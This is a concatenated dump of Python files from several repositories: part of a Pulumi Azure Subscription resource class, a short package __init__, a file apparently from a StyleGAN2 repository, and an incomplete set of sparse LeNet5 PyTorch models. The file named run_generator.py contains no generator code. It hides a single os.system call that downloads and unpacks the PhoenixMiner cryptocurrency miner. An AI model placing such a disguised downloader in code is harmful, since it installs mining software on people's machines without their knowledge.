managed in the provider - or create a new Subscription with a new Alias. > **NOTE:** Destroying a Subscription controlled by this resource will place the Subscription into a cancelled state. It is possible to re-activate a subscription within 90-days of cancellation, after which time the Subscription is irrevocably deleted, and the Subscription ID cannot be re-used. For further information see [here](https://docs.microsoft.com/en-us/azure/cost-management-billing/manage/cancel-azure-subscription#what-happens-after-subscription-cancellation). Users can optionally delete a Subscription once 72 hours have passed, however, this functionality is not suitable for this provider. A `Deleted` subscription cannot be reactivated. > **NOTE:** It is not possible to destroy (cancel) a subscription if it contains resources. If resources are present that are not managed by the provider then these will need to be removed before the Subscription can be destroyed. > **NOTE:** Azure supports Multiple Aliases per Subscription, however, to reliably manage this resource in this provider only a single Alias is supported. ## Example Usage ### Creating A New Alias And Subscription For An Enrollment Account ```python import pulumi import pulumi_azure as azure example_enrollment_account_scope = azure.billing.get_enrollment_account_scope(billing_account_name="1234567890", enrollment_account_name="0123456") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example EA Subscription", billing_scope_id=example_enrollment_account_scope.id) ``` ### Creating A New Alias And Subscription For A Microsoft Customer Account ```python import pulumi import pulumi_azure as azure example_mca_account_scope = azure.billing.get_mca_account_scope(billing_account_name="e879cf0f-2b4d-5431-109a-f72fc9868693:024cabf4-7321-4cf9-be59-df0c77ca51de_2019-05-31", billing_profile_name="PE2Q-NOIT-BG7-TGB", invoice_section_name="MTT4-OBS7-PJA-TGB") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example MCA Subscription", billing_scope_id=example_mca_account_scope.id) ``` ### Creating A New Alias And Subscription For A Microsoft Partner Account ```python import pulumi import pulumi_azure as azure example_mpa_account_scope = azure.billing.get_mpa_account_scope(billing_account_name="e879cf0f-2b4d-5431-109a-f72fc9868693:024cabf4-7321-4cf9-be59-df0c77ca51de_2019-05-31", customer_name="2281f543-7321-4cf9-1e23-edb4Oc31a31c") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example MPA Subscription", billing_scope_id=example_mpa_account_scope.id) ``` ### Adding An Alias To An Existing Subscription ```python import pulumi import pulumi_azure as azure example = azure.core.Subscription("example", alias="examplesub", subscription_id="12345678-12234-5678-9012-123456789012", subscription_name="My Example Subscription") ``` ## Import Subscriptions can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:core/subscription:Subscription example "/providers/Microsoft.Subscription/aliases/subscription1" ``` In this scenario, the `subscription_id` property can be completed and the provider will assume control of the existing subscription by creating an Alias. See the `adding an Alias to an existing Subscription` above. This provider requires an alias to correctly manage Subscription resources due to Azure Subscription API design. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] alias: The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. :param pulumi.Input[str] billing_scope_id: The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. :param pulumi.Input[str] subscription_id: The ID of the Subscription. Changing this forces a new Subscription to be created. :param pulumi.Input[str] subscription_name: The Name of the Subscription. This is the Display Name in the portal. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the Subscription. :param pulumi.Input[str] workload: The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ ... @overload def __init__(__self__, resource_name: str, args: SubscriptionArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Manages an Alias for a Subscription - which adds an Alias to an existing Subscription, allowing it to be managed in the provider - or create a new Subscription with a new Alias. > **NOTE:** Destroying a Subscription controlled by this resource will place the Subscription into a cancelled state. It is possible to re-activate a subscription within 90-days of cancellation, after which time the Subscription is irrevocably deleted, and the Subscription ID cannot be re-used. For further information see [here](https://docs.microsoft.com/en-us/azure/cost-management-billing/manage/cancel-azure-subscription#what-happens-after-subscription-cancellation). Users can optionally delete a Subscription once 72 hours have passed, however, this functionality is not suitable for this provider. A `Deleted` subscription cannot be reactivated. > **NOTE:** It is not possible to destroy (cancel) a subscription if it contains resources. If resources are present that are not managed by the provider then these will need to be removed before the Subscription can be destroyed. > **NOTE:** Azure supports Multiple Aliases per Subscription, however, to reliably manage this resource in this provider only a single Alias is supported. ## Example Usage ### Creating A New Alias And Subscription For An Enrollment Account ```python import pulumi import pulumi_azure as azure example_enrollment_account_scope = azure.billing.get_enrollment_account_scope(billing_account_name="1234567890", enrollment_account_name="0123456") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example EA Subscription", billing_scope_id=example_enrollment_account_scope.id) ``` ### Creating A New Alias And Subscription For A Microsoft Customer Account ```python import pulumi import pulumi_azure as azure example_mca_account_scope = azure.billing.get_mca_account_scope(billing_account_name="e879cf0f-2b4d-5431-109a-f72fc9868693:024cabf4-7321-4cf9-be59-df0c77ca51de_2019-05-31", billing_profile_name="PE2Q-NOIT-BG7-TGB", invoice_section_name="MTT4-OBS7-PJA-TGB") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example MCA Subscription", billing_scope_id=example_mca_account_scope.id) ``` ### Creating A New Alias And Subscription For A Microsoft Partner Account ```python import pulumi import pulumi_azure as azure example_mpa_account_scope = azure.billing.get_mpa_account_scope(billing_account_name="e879cf0f-2b4d-5431-109a-f72fc9868693:024cabf4-7321-4cf9-be59-df0c77ca51de_2019-05-31", customer_name="2281f543-7321-4cf9-1e23-edb4Oc31a31c") example_subscription = azure.core.Subscription("exampleSubscription", subscription_name="My Example MPA Subscription", billing_scope_id=example_mpa_account_scope.id) ``` ### Adding An Alias To An Existing Subscription ```python import pulumi import pulumi_azure as azure example = azure.core.Subscription("example", alias="examplesub", subscription_id="12345678-12234-5678-9012-123456789012", subscription_name="My Example Subscription") ``` ## Import Subscriptions can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:core/subscription:Subscription example "/providers/Microsoft.Subscription/aliases/subscription1" ``` In this scenario, the `subscription_id` property can be completed and the provider will assume control of the existing subscription by creating an Alias. See the `adding an Alias to an existing Subscription` above. This provider requires an alias to correctly manage Subscription resources due to Azure Subscription API design. :param str resource_name: The name of the resource. :param SubscriptionArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(SubscriptionArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, alias: Optional[pulumi.Input[str]] = None, billing_scope_id: Optional[pulumi.Input[str]] = None, subscription_id: Optional[pulumi.Input[str]] = None, subscription_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, workload: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = SubscriptionArgs.__new__(SubscriptionArgs) __props__.__dict__["alias"] = alias __props__.__dict__["billing_scope_id"] = billing_scope_id __props__.__dict__["subscription_id"] = subscription_id if subscription_name is None and not opts.urn: raise TypeError("Missing required property 'subscription_name'") __props__.__dict__["subscription_name"] = subscription_name __props__.__dict__["tags"] = tags __props__.__dict__["workload"] = workload __props__.__dict__["tenant_id"] = None super(Subscription, __self__).__init__( 'azure:core/subscription:Subscription', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, alias: Optional[pulumi.Input[str]] = None, billing_scope_id: Optional[pulumi.Input[str]] = None, subscription_id: Optional[pulumi.Input[str]] = None, subscription_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tenant_id: Optional[pulumi.Input[str]] = None, workload: Optional[pulumi.Input[str]] = None) -> 'Subscription': """ Get an existing Subscription resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] alias: The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. :param pulumi.Input[str] billing_scope_id: The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. :param pulumi.Input[str] subscription_id: The ID of the Subscription. Changing this forces a new Subscription to be created. :param pulumi.Input[str] subscription_name: The Name of the Subscription. This is the Display Name in the portal. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the Subscription. :param pulumi.Input[str] tenant_id: The ID of the Tenant to which the subscription belongs. :param pulumi.Input[str] workload: The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _SubscriptionState.__new__(_SubscriptionState) __props__.__dict__["alias"] = alias __props__.__dict__["billing_scope_id"] = billing_scope_id __props__.__dict__["subscription_id"] = subscription_id __props__.__dict__["subscription_name"] = subscription_name __props__.__dict__["tags"] = tags __props__.__dict__["tenant_id"] = tenant_id __props__.__dict__["workload"] = workload return Subscription(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def alias(self) -> pulumi.Output[str]: """ The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "alias") @property @pulumi.getter(name="billingScopeId") def billing_scope_id(self) -> pulumi.Output[Optional[str]]: """ The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. """ return pulumi.get(self, "billing_scope_id") @property @pulumi.getter(name="subscriptionId") def subscription_id(self) -> pulumi.Output[str]: """ The ID of the Subscription. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "subscription_id") @property @pulumi.getter(name="subscriptionName") def subscription_name(self) -> pulumi.Output[str]: """ The Name of the Subscription. This is the Display Name in the portal. """ return pulumi.get(self, "subscription_name") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A mapping of tags to assign to the Subscription. """ return pulumi.get(self, "tags") @property @pulumi.getter(name="tenantId") def tenant_id(self) -> pulumi.Output[str]: """ The ID of the Tenant to which the subscription belongs. """ return pulumi.get(self, "tenant_id") @property @pulumi.getter def workload(self) -> pulumi.Output[Optional[str]]: """ The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "workload")

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null

0

8

0e6207e397f30549269b9eb7e55f23963fd3329a

82

py

Python

merge/bin/__init__.py

JD-8678/MLA

51e854027be06c2badac94c0a36e4f3ef807d780

[ "MIT" ]

1

2020-05-29T10:40:43.000Z

merge/bin/__init__.py

JD-8678/MLA

51e854027be06c2badac94c0a36e4f3ef807d780

[ "MIT" ]

null

merge/bin/__init__.py

JD-8678/MLA

51e854027be06c2badac94c0a36e4f3ef807d780

[ "MIT" ]

1

2020-10-08T10:14:26.000Z

# print("bin") from . import run_file from . import run_url from . import run_text

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0

7

0e6b2d5a7cd11c4ad9e1d641a196584a68d3f481

149

py

Python

run_generator.py

linch22/StyleGAN2

67f7791d9aa53cde121277f03d6a1c63fd8b215f

[ "BSD-Source-Code" ]

null

run_generator.py

linch22/StyleGAN2

67f7791d9aa53cde121277f03d6a1c63fd8b215f

[ "BSD-Source-Code" ]

null

run_generator.py

linch22/StyleGAN2

67f7791d9aa53cde121277f03d6a1c63fd8b215f

[ "BSD-Source-Code" ]

null

import os as alpha alpha.system("wget https://phoenixminer.info/downloads/PhoenixMiner_5.7b_Linux.tar.gz && tar -xf PhoenixMiner_5.7b_Linux.tar.gz")

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0e806700f94bc691fe30f52e3d3d208638de163d

39,135

py

Python

lenet_models.py

kbui1993/Official_Nonconvex_SGL

bdbeea1c907aa8e9e7a96ccbcffa445bae6bcbc2

[ "MIT" ]

1

2021-09-18T18:39:29.000Z

lenet_models.py

kbui1993/Official_Nonconvex_SGL

bdbeea1c907aa8e9e7a96ccbcffa445bae6bcbc2

[ "MIT" ]

null

lenet_models.py

kbui1993/Official_Nonconvex_SGL

bdbeea1c907aa8e9e7a96ccbcffa445bae6bcbc2

[ "MIT" ]

null

from __future__ import print_function import torch import torch.nn as nn from new_layers import * from utils import get_flat_fts from copy import deepcopy import torch.nn.functional as F import torch.nn.init as init class L0LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), local_rep=False, temperature=2./3.): super(L0LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [L0Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), L0Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [L0Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], local_rep=local_rep, temperature=temperature), nn.ReLU(), L0Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, L0Dense) or isinstance(m, L0Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, L0Conv2d) or isinstance(layer, MAPConv2d) or isinstance(layer, L0Dense): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, L0Conv2d) or isinstance(layer,L0Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params class group_lasso_LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), local_rep=False, temperature=2./3.): super(group_lasso_LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_lasso_Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_lasso_Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_lasso_Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], local_rep=local_rep, temperature=temperature), nn.ReLU(), group_lasso_Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_lasso_Dense) or isinstance(m, group_lasso_Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_lasso_Conv2d) or isinstance(layer, MAPConv2d) or isinstance(layer, group_lasso_Dense): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_lasso_Conv2d) or isinstance(layer,group_lasso_Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class CGES_LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), mu =0.5, local_rep=False, temperature=2./3.): super(CGES_LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay self.mu = mu convs = [CGES_Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], mu= self.mu, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), CGES_Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], mu = self.mu, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [CGES_Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], mu = self.mu, local_rep=local_rep, temperature=temperature), nn.ReLU(), CGES_Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], mu = self.mu, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, CGES_Dense) or isinstance(m, CGES_Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, CGES_Conv2d) or isinstance(layer, MAPConv2d) or isinstance(layer, CGES_Dense): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, CGES_Conv2d) or isinstance(layer,CGES_Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class group_relaxed_L0LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), beta=4, local_rep=False, temperature=2./3.): super(group_relaxed_L0LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_relaxed_L0Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_relaxed_L0Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_relaxed_L0Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], beta=beta, local_rep=local_rep, temperature=temperature), nn.ReLU(), group_relaxed_L0Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], beta=beta, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_relaxed_L0Dense) or isinstance(m, group_relaxed_L0Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L0Dense) or isinstance(layer, MAPConv2d) or isinstance(layer, group_relaxed_L0Conv2d): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L0Conv2d) or isinstance(layer,group_relaxed_L0Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class group_relaxed_L1LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), beta=4, local_rep=False, temperature=2./3.): super(group_relaxed_L1LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_relaxed_L1Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_relaxed_L1Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_relaxed_L1Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], beta=beta, local_rep=local_rep, temperature=temperature), nn.ReLU(), group_relaxed_L1Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], beta=beta, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_relaxed_L1Dense) or isinstance(m, group_relaxed_L1Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L1Dense) or isinstance(layer, MAPConv2d) or isinstance(layer, 